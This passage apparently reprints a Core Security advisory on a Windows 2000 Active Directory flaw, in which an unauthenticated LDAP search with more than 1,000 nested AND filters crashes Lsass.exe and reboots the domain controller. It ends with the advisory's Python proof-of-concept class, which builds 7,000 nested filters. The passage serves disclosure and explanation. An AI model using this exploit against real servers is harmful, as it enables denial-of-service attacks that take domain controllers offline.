Core Security Technologies uncovered another weakness in the Windows Server security architecture. According to their advisory (reprinted with permission):
Active Directory, which is an essential component of the Windows 2000 architecture, presents organizations with a directory service designed for distributed computing environments. Active Directory allows organizations to centrally manage and share information on network resources and users while acting as the central authority for network security.
The directory services provided by Active Directory are based on the Lightweight Directory Access Protocol (LDAP) and thus Active Directory objects can be stored and retrieved using the LDAP protocol. A vulnerability in Active Directory allows an attacker to crash and force a reboot of any Windows 2000 Server running the Active Directory service. The vulnerability can be triggered when an LDAP version 3 search request with more than 1,000 "AND" statements is sent to the server, resulting in a stack overflow and subsequent crash of the Lsaas.exe service. This in turn will force a domain controller to stop responding, thus making possible a denial of service attack against it. The LDAP request does not need to be authenticated.
Core goes on to provide the following sample exploit:
A "search request" created using LDAP version 3, constructed with more than 1,000 ANDs , will provoke a stack overflow, making the Lsass.exe service crash and reboot the machine within 30 seconds. To reproduce the stack overflow, you need to create a "search request" to an Active Directory server. The "search request" must search for a nonexistent machine within the Domain Controller to which you've previously bound. It must be composed with more than 1000 AND statements but it is supposed that OR, GE, LE and other binary operators will yield the same results.
Here's the Python script Core provides in order to create such a request:
class ActiveDirectoryDOS( Ldap ): def __init_ _(self): self._s = None self.host = '192.168.0.1' self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com' self.port = 389 self.buffer = '' self.msg_id = 1 Ldap.__init_ _( ) def generateFilter_BinaryOp( self, filter ): filterBuffer = asn1.OCTETSTRING(filter).encode( ) + asn1.OCTETSTRING(filter).encode( ) filterBuffer = self.encapsulateHeader( filter, filterBuffer ) return filterBuffer def generateFilter_RecursiveBinaryOp( self, filter, numTimes): simpleBinOp = self.generateFilter_BinaryOp( filter ) filterBuffer = simpleBinOp for cnt in range( 0, numTimes ): filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp ) return filterBuffer def searchSub( self, filterBuffer ): self.bindRequest( ) self.searchRequest( filterBuffer ) def run(self, host = '', basedn = '', name = '' ): # the machine must not exist machine_name = 'xaxax' filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name) # execute the anonymous query print 'executing query' filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 ) self.searchSub( filterBuffer )"